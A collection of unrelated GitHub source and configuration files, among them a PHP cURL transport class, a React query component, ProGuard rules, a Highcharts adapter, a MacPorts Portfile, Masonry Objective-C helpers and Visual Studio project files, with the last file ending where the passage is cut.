// Otherwise Requests_Transport_cURL wont be garbage collected and the curl_close() will never be called.
curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, null);
curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, null);
return $this->headers;
}
/**
* Send multiple requests simultaneously
*
* @param array $requests Request data
* @param array $options Global options
* @return array Array of Requests_Response objects (may contain Requests_Exception or string responses as well)
*/
public function request_multiple($requests, $options) {
// If you're not requesting, we can't get any responses ¯\_(ツ)_/¯
if (empty($requests)) {
return array();
}
$multihandle = curl_multi_init();
$subrequests = array();
$subhandles = array();
$class = get_class($this);
foreach ($requests as $id => $request) {
$subrequests[$id] = new $class();
$subhandles[$id] = $subrequests[$id]->get_subrequest_handle($request['url'], $request['headers'], $request['data'], $request['options']);
$request['options']['hooks']->dispatch('curl.before_multi_add', array(&$subhandles[$id]));
curl_multi_add_handle($multihandle, $subhandles[$id]);
}
$completed = 0;
$responses = array();
$request['options']['hooks']->dispatch('curl.before_multi_exec', array(&$multihandle));
do {
$active = false;
do {
$status = curl_multi_exec($multihandle, $active);
}
while ($status === CURLM_CALL_MULTI_PERFORM);
$to_process = array();
// Read the information as needed
while ($done = curl_multi_info_read($multihandle)) {
$key = array_search($done['handle'], $subhandles, true);
if (!isset($to_process[$key])) {
$to_process[$key] = $done;
}
}
// Parse the finished requests before we start getting the new ones
foreach ($to_process as $key => $done) {
$options = $requests[$key]['options'];
if (CURLE_OK !== $done['result']) {
//get error string for handle.
$reason = curl_error($done['handle']);
$exception = new Requests_Exception_Transport_cURL(
$reason,
Requests_Exception_Transport_cURL::EASY,
$done['handle'],
$done['result']
);
$responses[$key] = $exception;
$options['hooks']->dispatch('transport.internal.parse_error', array(&$responses[$key], $requests[$key]));
}
else {
$responses[$key] = $subrequests[$key]->process_response($subrequests[$key]->response_data, $options);
$options['hooks']->dispatch('transport.internal.parse_response', array(&$responses[$key], $requests[$key]));
}
curl_multi_remove_handle($multihandle, $done['handle']);
curl_close($done['handle']);
if (!is_string($responses[$key])) {
$options['hooks']->dispatch('multiple.request.complete', array(&$responses[$key], $key));
}
$completed++;
}
}
while ($active || $completed < count($subrequests));
$request['options']['hooks']->dispatch('curl.after_multi_exec', array(&$multihandle));
curl_multi_close($multihandle);
return $responses;
}
/**
* Get the cURL handle for use in a multi-request
*
* @param string $url URL to request
* @param array $headers Associative array of request headers
* @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
* @param array $options Request options, see {@see Requests::response()} for documentation
* @return resource Subrequest's cURL handle
*/
public function &get_subrequest_handle($url, $headers, $data, $options) {
$this->setup_handle($url, $headers, $data, $options);
if ($options['filename'] !== false) {
$this->stream_handle = fopen($options['filename'], 'wb');
}
$this->response_data = '';
$this->response_bytes = 0;
$this->response_byte_limit = false;
if ($options['max_bytes'] !== false) {
$this->response_byte_limit = $options['max_bytes'];
}
$this->hooks = $options['hooks'];
return $this->handle;
}
/**
* Setup the cURL handle for the given data
*
* @param string $url URL to request
* @param array $headers Associative array of request headers
* @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
* @param array $options Request options, see {@see Requests::response()} for documentation
*/
protected function setup_handle($url, $headers, $data, $options) {
$options['hooks']->dispatch('curl.before_request', array(&$this->handle));
// Force closing the connection for old versions of cURL (<7.22).
if ( ! isset( $headers['Connection'] ) ) {
$headers['Connection'] = 'close';
}
$headers = Requests::flatten($headers);
if (!empty($data)) {
$data_format = $options['data_format'];
if ($data_format === 'query') {
$url = self::format_get($url, $data);
$data = '';
}
elseif (!is_string($data)) {
$data = http_build_query($data, null, '&');
}
}
switch ($options['type']) {
case Requests::POST:
curl_setopt($this->handle, CURLOPT_POST, true);
curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data);
break;
case Requests::HEAD:
curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
curl_setopt($this->handle, CURLOPT_NOBODY, true);
break;
case Requests::TRACE:
curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
break;
case Requests::PATCH:
case Requests::PUT:
case Requests::DELETE:
case Requests::OPTIONS:
default:
curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
if (!empty($data)) {
curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data);
}
}
// cURL requires a minimum timeout of 1 second when using the system
// DNS resolver, as it uses `alarm()`, which is second resolution only.
// There's no way to detect which DNS resolver is being used from our
// end, so we need to round up regardless of the supplied timeout.
//
// https://github.com/curl/curl/blob/4f45240bc84a9aa648c8f7243be7b79e9f9323a5/lib/hostip.c#L606-L609
$timeout = max($options['timeout'], 1);
if (is_int($timeout) || $this->version < self::CURL_7_16_2) {
curl_setopt($this->handle, CURLOPT_TIMEOUT, ceil($timeout));
}
else {
curl_setopt($this->handle, CURLOPT_TIMEOUT_MS, round($timeout * 1000));
}
if (is_int($options['connect_timeout']) || $this->version < self::CURL_7_16_2) {
curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT, ceil($options['connect_timeout']));
}
else {
curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT_MS, round($options['connect_timeout'] * 1000));
}
curl_setopt($this->handle, CURLOPT_URL, $url);
curl_setopt($this->handle, CURLOPT_REFERER, $url);
curl_setopt($this->handle, CURLOPT_USERAGENT, $options['useragent']);
if (!empty($headers)) {
curl_setopt($this->handle, CURLOPT_HTTPHEADER, $headers);
}
if ($options['protocol_version'] === 1.1) {
curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
}
else {
curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
}
if (true === $options['blocking']) {
curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, array(&$this, 'stream_headers'));
curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, array(&$this, 'stream_body'));
curl_setopt($this->handle, CURLOPT_BUFFERSIZE, Requests::BUFFER_SIZE);
}
}
/**
* Process a response
*
* @param string $response Response data from the body
* @param array $options Request options
* @return string HTTP response data including headers
*/
public function process_response($response, $options) {
if ($options['blocking'] === false) {
$fake_headers = '';
$options['hooks']->dispatch('curl.after_request', array(&$fake_headers));
return false;
}
if ($options['filename'] !== false) {
fclose($this->stream_handle);
$this->headers = trim($this->headers);
}
else {
$this->headers .= $response;
}
if (curl_errno($this->handle)) {
$error = sprintf(
'cURL error %s: %s',
curl_errno($this->handle),
curl_error($this->handle)
);
throw new Requests_Exception($error, 'curlerror', $this->handle);
}
$this->info = curl_getinfo($this->handle);
$options['hooks']->dispatch('curl.after_request', array(&$this->headers, &$this->info));
return $this->headers;
}
/**
* Collect the headers as they are received
*
* @param resource $handle cURL resource
* @param string $headers Header string
* @return integer Length of provided header
*/
public function stream_headers($handle, $headers) {
// Why do we do this? cURL will send both the final response and any
// interim responses, such as a 100 Continue. We don't need that.
// (We may want to keep this somewhere just in case)
if ($this->done_headers) {
$this->headers = '';
$this->done_headers = false;
}
$this->headers .= $headers;
if ($headers === "\r\n") {
$this->done_headers = true;
}
return strlen($headers);
}
/**
* Collect data as it's received
*
* @since Requests 1.6.1
*
* @param resource $handle cURL resource
* @param string $data Body data
* @return integer Length of provided data
*/
public function stream_body($handle, $data) {
$this->hooks->dispatch('request.progress', array($data, $this->response_bytes, $this->response_byte_limit));
$data_length = strlen($data);
// Are we limiting the response size?
if ($this->response_byte_limit) {
if ($this->response_bytes === $this->response_byte_limit) {
// Already at maximum, move on
return $data_length;
}
if (($this->response_bytes + $data_length) > $this->response_byte_limit) {
// Limit the length
$limited_length = ($this->response_byte_limit - $this->response_bytes);
$data = substr($data, 0, $limited_length);
}
}
if ($this->stream_handle) {
fwrite($this->stream_handle, $data);
}
else {
$this->response_data .= $data;
}
$this->response_bytes += strlen($data);
return $data_length;
}
/**
* Format a URL given GET data
*
* @param string $url
* @param array|object $data Data to build query using, see {@see https://secure.php.net/http_build_query}
* @return string URL with data
*/
protected static function format_get($url, $data) {
if (!empty($data)) {
$url_parts = parse_url($url);
if (empty($url_parts['query'])) {
$query = $url_parts['query'] = '';
}
else {
$query = $url_parts['query'];
}
$query .= '&' . http_build_query($data, null, '&');
$query = trim($query, '&');
if (empty($url_parts['query'])) {
$url .= '?' . $query;
}
else {
$url = str_replace($url_parts['query'], $query, $url);
}
}
return $url;
}
/**
* Whether this transport is valid
*
* @codeCoverageIgnore
* @return boolean True if the transport is valid, false otherwise.
*/
public static function test($capabilities = array()) {
if (!function_exists('curl_init') || !function_exists('curl_exec')) {
return false;
}
// If needed, check that our installed curl version supports SSL
if (isset($capabilities['ssl']) && $capabilities['ssl']) {
$curl_version = curl_version();
if (!(CURL_VERSION_SSL & $curl_version['features'])) {
return false;
}
}
return true;
}
}
| {
"pile_set_name": "Github"
} |
// Copyright 2017-2020 @polkadot/app-explorer authors & contributors
// SPDX-License-Identifier: Apache-2.0
import React, { useCallback, useState } from 'react';
import styled from 'styled-components';
import { Button, FilterOverlay, Input } from '@polkadot/react-components';
import { isHex } from '@polkadot/util';
import { useTranslation } from './translate';
interface Props {
className?: string;
value?: string;
}
interface State {
value: string;
isValid: boolean;
}
function stateFromValue (value: string): State {
return {
isValid: isHex(value, 256) || /^\d+$/.test(value),
value
};
}
function Query ({ className = '', value: propsValue }: Props): React.ReactElement<Props> {
const { t } = useTranslation();
const [{ isValid, value }, setState] = useState(stateFromValue(propsValue || ''));
const _setHash = useCallback(
(value: string): void => setState(stateFromValue(value)),
[]
);
const _onQuery = useCallback(
(): void => {
if (isValid && value.length !== 0) {
window.location.hash = `/explorer/query/${value}`;
}
},
[isValid, value]
);
return (
<FilterOverlay className={className}>
<Input
className='explorer--query'
defaultValue={propsValue}
isError={!isValid && value.length !== 0}
onChange={_setHash}
onEnter={_onQuery}
placeholder={t<string>('block hash or number to query')}
withLabel={false}
>
<Button
icon='play'
onClick={_onQuery}
/>
</Input>
</FilterOverlay>
);
}
export default React.memo(styled(Query)`
.explorer--query {
width: 20em;
}
`);
| {
"pile_set_name": "Github"
} |
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-keep class xyz.hisname.fireflyiii.repository.models.** { *; }
# kotlin coroutines
-keepnames class kotlinx.coroutines.CoroutineExceptionHandler {}
-keepnames class kotlinx.coroutines.internal.MainDispatcherFactory {}
-keepattributes Signature, InnerClasses,*Annotation*
-dontwarn sun.misc.**
-keep class * implements com.google.gson.TypeAdapterFactory
-keep class * implements com.google.gson.JsonSerializer
-keep class * implements com.google.gson.JsonDeserializer
-keepclassmembers,allowshrinking,allowobfuscation interface * {
@retrofit2.http.* <methods>;
}
-dontwarn org.codehaus.mojo.animal_sniffer.IgnoreJRERequirement
-dontwarn javax.annotation.**
-dontwarn kotlin.Unit
-dontwarn retrofit2.-KotlinExtensions
-keepnames class okhttp3.internal.publicsuffix.PublicSuffixDatabase
-dontwarn org.codehaus.mojo.animal_sniffer.*
-dontwarn okhttp3.internal.platform.ConscryptPlatform
-dontwarn okhttp3.**
-dontwarn okio.**
-keep public class * implements com.bumptech.glide.module.GlideModule | {
"pile_set_name": "Github"
} |
/*
Highcharts JS v3.0.6 (2013-10-04)
MooTools adapter
(c) 2010-2013 Torstein Hønsi
License: www.highcharts.com/license
*/
(function(){var e=window,h=document,f=e.MooTools.version.substring(0,3),i=f==="1.2"||f==="1.1",j=i||f==="1.3",g=e.$extend||function(){return Object.append.apply(Object,arguments)};e.HighchartsAdapter={init:function(a){var b=Fx.prototype,c=b.start,d=Fx.Morph.prototype,e=d.compute;b.start=function(b,d){var e=this.element;if(b.d)this.paths=a.init(e,e.d,this.toD);c.apply(this,arguments);return this};d.compute=function(b,c,d){var f=this.paths;if(f)this.element.attr("d",a.step(f[0],f[1],d,this.toD));else return e.apply(this,
arguments)}},adapterRun:function(a,b){if(b==="width"||b==="height")return parseInt($(a).getStyle(b),10)},getScript:function(a,b){var c=h.getElementsByTagName("head")[0],d=h.createElement("script");d.type="text/javascript";d.src=a;d.onload=b;c.appendChild(d)},animate:function(a,b,c){var d=a.attr,f=c&&c.complete;if(d&&!a.setStyle)a.getStyle=a.attr,a.setStyle=function(){var a=arguments;this.attr.call(this,a[0],a[1][0])},a.$family=function(){return!0};e.HighchartsAdapter.stop(a);c=new Fx.Morph(d?a:$(a),
g({transition:Fx.Transitions.Quad.easeInOut},c));if(d)c.element=a;if(b.d)c.toD=b.d;f&&c.addEvent("complete",f);c.start(b);a.fx=c},each:function(a,b){return i?$each(a,b):Array.each(a,b)},map:function(a,b){return a.map(b)},grep:function(a,b){return a.filter(b)},inArray:function(a,b,c){return b?b.indexOf(a,c):-1},offset:function(a){a=a.getPosition();return{left:a.x,top:a.y}},extendWithEvents:function(a){a.addEvent||(a.nodeName?$(a):g(a,new Events))},addEvent:function(a,b,c){typeof b==="string"&&(b===
"unload"&&(b="beforeunload"),e.HighchartsAdapter.extendWithEvents(a),a.addEvent(b,c))},removeEvent:function(a,b,c){typeof a!=="string"&&a.addEvent&&(b?(b==="unload"&&(b="beforeunload"),c?a.removeEvent(b,c):a.removeEvents&&a.removeEvents(b)):a.removeEvents())},fireEvent:function(a,b,c,d){b={type:b,target:a};b=j?new Event(b):new DOMEvent(b);b=g(b,c);if(!b.target&&b.event)b.target=b.event.target;b.preventDefault=function(){d=null};a.fireEvent&&a.fireEvent(b.type,b);d&&d(b)},washMouseEvent:function(a){if(a.page)a.pageX=
a.page.x,a.pageY=a.page.y;return a},stop:function(a){a.fx&&a.fx.cancel()}}})();
| {
"pile_set_name": "Github"
} |
# -*- coding: utf-8; mode: tcl; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- vim:fenc=utf-8:ft=tcl:et:sw=4:ts=4:sts=4
PortSystem 1.0
PortGroup github 1.0
PortGroup python 1.0
github.setup nltk nltk 3.4.5
name py-nltk
categories-append textproc
platforms darwin
maintainers {gmail.com:stevenbird1 @stevenbird} openmaintainer
supported_archs noarch
license Apache-2
description Natural Language Toolkit
long_description NLTK is Python modules for research and development in natural language processing
homepage http://www.nltk.org/
checksums rmd160 1e84cd7328d47f23bc0318a6d5eaf318006550e1 \
sha256 52fef02f225b0e36cab3f5b28d66b718f25d5aee806097255a1f7991bc7c000f \
size 2821586
python.versions 27 35 36 37 38
if {${name} ne ${subport}} {
depends_build-append \
port:py${python.version}-setuptools
depends_lib-append \
port:py${python.version}-matplotlib \
port:py${python.version}-numpy \
port:py${python.version}-yaml
post-destroot {
set docdir ${prefix}/share/doc/${subport}
xinstall -d ${destroot}${docdir}
xinstall -m 644 -W ${worksrcpath} \
ChangeLog \
LICENSE.txt \
README.md \
${destroot}${docdir}
}
livecheck.type none
} else {
github.livecheck.regex {([\d.]+)}
}
| {
"pile_set_name": "Github"
} |
# created by tools/tclZIC.tcl - do not edit
if {![info exists TZData(Asia/Dhaka)]} {
LoadTimeZoneFile Asia/Dhaka
}
set TZData(:Asia/Dacca) $TZData(:Asia/Dhaka)
| {
"pile_set_name": "Github"
} |
/*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.aliyuncs.drds.model.v20190123;
import com.aliyuncs.RpcAcsRequest;
import com.aliyuncs.http.MethodType;
import com.aliyuncs.drds.Endpoint;
/**
* @author auto create
* @version
*/
public class DescribeBatchEvaluateTaskReportRequest extends RpcAcsRequest<DescribeBatchEvaluateTaskReportResponse> {
private Long batchEvaluateTaskId;
public DescribeBatchEvaluateTaskReportRequest() {
super("Drds", "2019-01-23", "DescribeBatchEvaluateTaskReport", "Drds");
setMethod(MethodType.POST);
try {
com.aliyuncs.AcsRequest.class.getDeclaredField("productEndpointMap").set(this, Endpoint.endpointMap);
com.aliyuncs.AcsRequest.class.getDeclaredField("productEndpointRegional").set(this, Endpoint.endpointRegionalType);
} catch (Exception e) {}
}
public Long getBatchEvaluateTaskId() {
return this.batchEvaluateTaskId;
}
public void setBatchEvaluateTaskId(Long batchEvaluateTaskId) {
this.batchEvaluateTaskId = batchEvaluateTaskId;
if(batchEvaluateTaskId != null){
putQueryParameter("BatchEvaluateTaskId", batchEvaluateTaskId.toString());
}
}
@Override
public Class<DescribeBatchEvaluateTaskReportResponse> getResponseClass() {
return DescribeBatchEvaluateTaskReportResponse.class;
}
}
| {
"pile_set_name": "Github"
} |
<resources>
<!--
Customize dimensions originally defined in res/values/dimens.xml (such as
screen margins) for sw720dp devices (e.g. 10" tablets) in landscape here.
-->
<dimen name="activity_horizontal_margin">128dp</dimen>
</resources>
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\..\..\vstsdk2.4\public.sdk\source\vst2.x\audioeffect.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="..\..\..\vstsdk2.4\public.sdk\source\vst2.x\audioeffectx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="..\..\..\vstsdk2.4\public.sdk\source\vst2.x\vstplugmain.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Capacitor2.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Capacitor2Proc.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\..\vstsdk2.4\public.sdk\source\vst2.x\aeffeditor.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="..\..\..\vstsdk2.4\public.sdk\source\vst2.x\audioeffect.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="..\..\..\vstsdk2.4\public.sdk\source\vst2.x\audioeffectx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Capacitor2.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project> | {
"pile_set_name": "Github"
} |
---
title: "IDebugGenericFieldDefinition::ConstructInstantiation | Microsoft Docs"
ms.date: 11/15/2016
ms.prod: "visual-studio-dev14"
ms.technology: "vs-ide-sdk"
ms.topic: reference
helpviewer_keywords:
- "ConstructInstantiation"
- "IDebugGenericFieldDefinition::ConstructInstantiation"
ms.assetid: ef8ae261-a98b-4dc2-93b3-7c5191818ba2
caps.latest.revision: 9
ms.author: gregvanl
manager: jillfra
---
# IDebugGenericFieldDefinition::ConstructInstantiation
[!INCLUDE[vs2017banner](../../../includes/vs2017banner.md)]
Constructs a field instance given an array of type arguments.
## Syntax
```cpp#
HRESULT ConstructInstantiation(
ULONG32 cArgs,
IDebugField** ppArgs,
IDebugField** ppConstructedField
);
```
```csharp
int ConstructInstantiation(
uint cArgs,
IDebugField[] ppArgs,
out IDebugField ppConstructedField
);
```
#### Parameters
`cArgs`
[in] Number of arguments in the `ppArgs` array.
`ppArgs`
[in] Array that contains the type arguments. The type arguments must be closed types (non-generic or fully instantiated generics).
`ppConstructedField`
[out] Returns the [IDebugField](../../../extensibility/debugger/reference/idebugfield.md) interface that represents the new field.
## Return Value
If successful, returns `S_OK`; otherwise, returns an error code.
## Remarks
Constraints are not checked.
## See Also
[IDebugGenericFieldDefinition](../../../extensibility/debugger/reference/idebuggenericfielddefinition.md)
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient android:startColor="#4D892F" android:endColor="#8CC054"
android:type="linear" android:angle="90" />
<corners android:radius="8dp" />
</shape> | {
"pile_set_name": "Github"
} |
MKPATH=../../../mk/
include $(MKPATH)buildsys.mk
DATA = 8x8.png flvr-xxx.prf graf-xxx.prf xtra-xxx.prf
PACKAGE = tiles/old
| {
"pile_set_name": "Github"
} |
//
// NSLayoutConstraint+MASDebugAdditions.m
// Masonry
//
// Created by Jonas Budelmann on 3/08/13.
// Copyright (c) 2013 Jonas Budelmann. All rights reserved.
//
#import "NSLayoutConstraint+MASDebugAdditions.h"
#import "MASConstraint.h"
#import "MASLayoutConstraint.h"
@implementation NSLayoutConstraint (MASDebugAdditions)
#pragma mark - description maps
+ (NSDictionary *)layoutRelationDescriptionsByValue {
static dispatch_once_t once;
static NSDictionary *descriptionMap;
dispatch_once(&once, ^{
descriptionMap = @{
@(NSLayoutRelationEqual) : @"==",
@(NSLayoutRelationGreaterThanOrEqual) : @">=",
@(NSLayoutRelationLessThanOrEqual) : @"<=",
};
});
return descriptionMap;
}
+ (NSDictionary *)layoutAttributeDescriptionsByValue {
static dispatch_once_t once;
static NSDictionary *descriptionMap;
dispatch_once(&once, ^{
descriptionMap = @{
@(NSLayoutAttributeTop) : @"top",
@(NSLayoutAttributeLeft) : @"left",
@(NSLayoutAttributeBottom) : @"bottom",
@(NSLayoutAttributeRight) : @"right",
@(NSLayoutAttributeLeading) : @"leading",
@(NSLayoutAttributeTrailing) : @"trailing",
@(NSLayoutAttributeWidth) : @"width",
@(NSLayoutAttributeHeight) : @"height",
@(NSLayoutAttributeCenterX) : @"centerX",
@(NSLayoutAttributeCenterY) : @"centerY",
@(NSLayoutAttributeBaseline) : @"baseline",
#if TARGET_OS_IPHONE || TARGET_OS_TV
@(NSLayoutAttributeLeftMargin) : @"leftMargin",
@(NSLayoutAttributeRightMargin) : @"rightMargin",
@(NSLayoutAttributeTopMargin) : @"topMargin",
@(NSLayoutAttributeBottomMargin) : @"bottomMargin",
@(NSLayoutAttributeLeadingMargin) : @"leadingMargin",
@(NSLayoutAttributeTrailingMargin) : @"trailingMargin",
@(NSLayoutAttributeCenterXWithinMargins) : @"centerXWithinMargins",
@(NSLayoutAttributeCenterYWithinMargins) : @"centerYWithinMargins",
#endif
};
});
return descriptionMap;
}
+ (NSDictionary *)layoutPriorityDescriptionsByValue {
static dispatch_once_t once;
static NSDictionary *descriptionMap;
dispatch_once(&once, ^{
#if TARGET_OS_IPHONE || TARGET_OS_TV
descriptionMap = @{
@(MASLayoutPriorityDefaultHigh) : @"high",
@(MASLayoutPriorityDefaultLow) : @"low",
@(MASLayoutPriorityDefaultMedium) : @"medium",
@(MASLayoutPriorityRequired) : @"required",
@(MASLayoutPriorityFittingSizeLevel) : @"fitting size",
};
#elif TARGET_OS_MAC
descriptionMap = @{
@(MASLayoutPriorityDefaultHigh) : @"high",
@(MASLayoutPriorityDragThatCanResizeWindow) : @"drag can resize window",
@(MASLayoutPriorityDefaultMedium) : @"medium",
@(MASLayoutPriorityWindowSizeStayPut) : @"window size stay put",
@(MASLayoutPriorityDragThatCannotResizeWindow) : @"drag cannot resize window",
@(MASLayoutPriorityDefaultLow) : @"low",
@(MASLayoutPriorityFittingSizeCompression) : @"fitting size",
@(MASLayoutPriorityRequired) : @"required",
};
#endif
});
return descriptionMap;
}
#pragma mark - description override
+ (NSString *)descriptionForObject:(id)obj {
if ([obj respondsToSelector:@selector(mas_key)] && [obj mas_key]) {
return [NSString stringWithFormat:@"%@:%@", [obj class], [obj mas_key]];
}
return [NSString stringWithFormat:@"%@:%p", [obj class], obj];
}
- (NSString *)description {
NSMutableString *description = [[NSMutableString alloc] initWithString:@"<"];
[description appendString:[self.class descriptionForObject:self]];
[description appendFormat:@" %@", [self.class descriptionForObject:self.firstItem]];
if (self.firstAttribute != NSLayoutAttributeNotAnAttribute) {
[description appendFormat:@".%@", self.class.layoutAttributeDescriptionsByValue[@(self.firstAttribute)]];
}
[description appendFormat:@" %@", self.class.layoutRelationDescriptionsByValue[@(self.relation)]];
if (self.secondItem) {
[description appendFormat:@" %@", [self.class descriptionForObject:self.secondItem]];
}
if (self.secondAttribute != NSLayoutAttributeNotAnAttribute) {
[description appendFormat:@".%@", self.class.layoutAttributeDescriptionsByValue[@(self.secondAttribute)]];
}
if (self.multiplier != 1) {
[description appendFormat:@" * %g", self.multiplier];
}
if (self.secondAttribute == NSLayoutAttributeNotAnAttribute) {
[description appendFormat:@" %g", self.constant];
} else {
if (self.constant) {
[description appendFormat:@" %@ %g", (self.constant < 0 ? @"-" : @"+"), ABS(self.constant)];
}
}
if (self.priority != MASLayoutPriorityRequired) {
[description appendFormat:@" ^%@", self.class.layoutPriorityDescriptionsByValue[@(self.priority)] ?: [NSNumber numberWithDouble:self.priority]];
}
[description appendString:@">"];
return description;
}
@end
| {
"pile_set_name": "Github"
} |
# example
A new Flutter project.
## Getting Started
This project is a starting point for a Flutter application.
A few resources to get you started if this is your first Flutter project:
- [Lab: Write your first Flutter app](https://flutter.dev/docs/get-started/codelab)
- [Cookbook: Useful Flutter samples](https://flutter.dev/docs/cookbook)
For help getting started with Flutter, view our
[online documentation](https://flutter.dev/docs), which offers tutorials,
samples, guidance on mobile development, and a full API reference.
| {
"pile_set_name": "Github"
} |
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual C++ Express 2005
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "zziptest", "zzcat.vcproj", "{FCEF4E99-72DB-4422-95BB-3C83673B66E9}"
ProjectSection(ProjectDependencies) = postProject
{CB440073-2ED3-48CE-A1A1-B6EACB3A44BD} = {CB440073-2ED3-48CE-A1A1-B6EACB3A44BD}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "zzcat", "zzipself.vcproj", "{0FBB8EFD-652C-4BD6-B165-6C65357FEDFC}"
ProjectSection(ProjectDependencies) = postProject
{CB440073-2ED3-48CE-A1A1-B6EACB3A44BD} = {CB440073-2ED3-48CE-A1A1-B6EACB3A44BD}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "zzipsetstub", "zzipsetstub.vcproj", "{D15BE737-CF23-4243-A8C4-DB5EE3F5689D}"
ProjectSection(ProjectDependencies) = postProject
{CB440073-2ED3-48CE-A1A1-B6EACB3A44BD} = {CB440073-2ED3-48CE-A1A1-B6EACB3A44BD}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "zzdir", "zzdir.vcproj", "{C118D86C-06E2-4949-B4F1-DB05C823C8E1}"
ProjectSection(ProjectDependencies) = postProject
{CB440073-2ED3-48CE-A1A1-B6EACB3A44BD} = {CB440073-2ED3-48CE-A1A1-B6EACB3A44BD}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "zziplib", "zziplib.vcproj", "{CB440073-2ED3-48CE-A1A1-B6EACB3A44BD}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "zzipself", "zziptest.vcproj", "{8D0233CC-F821-4853-BE2A-B55B680A49E9}"
ProjectSection(ProjectDependencies) = postProject
{D15BE737-CF23-4243-A8C4-DB5EE3F5689D} = {D15BE737-CF23-4243-A8C4-DB5EE3F5689D}
{CB440073-2ED3-48CE-A1A1-B6EACB3A44BD} = {CB440073-2ED3-48CE-A1A1-B6EACB3A44BD}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "zzipobfuscated", "zzobfuscated.vcproj", "{3EC53ADE-2D87-4023-B34A-BA1CF0EA0F01}"
ProjectSection(ProjectDependencies) = postProject
{CB440073-2ED3-48CE-A1A1-B6EACB3A44BD} = {CB440073-2ED3-48CE-A1A1-B6EACB3A44BD}
EndProjectSection
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{FCEF4E99-72DB-4422-95BB-3C83673B66E9}.Debug|Win32.ActiveCfg = Debug|Win32
{FCEF4E99-72DB-4422-95BB-3C83673B66E9}.Debug|Win32.Build.0 = Debug|Win32
{FCEF4E99-72DB-4422-95BB-3C83673B66E9}.Release|Win32.ActiveCfg = Release|Win32
{FCEF4E99-72DB-4422-95BB-3C83673B66E9}.Release|Win32.Build.0 = Release|Win32
{0FBB8EFD-652C-4BD6-B165-6C65357FEDFC}.Debug|Win32.ActiveCfg = Debug|Win32
{0FBB8EFD-652C-4BD6-B165-6C65357FEDFC}.Release|Win32.ActiveCfg = Release|Win32
{0FBB8EFD-652C-4BD6-B165-6C65357FEDFC}.Release|Win32.Build.0 = Release|Win32
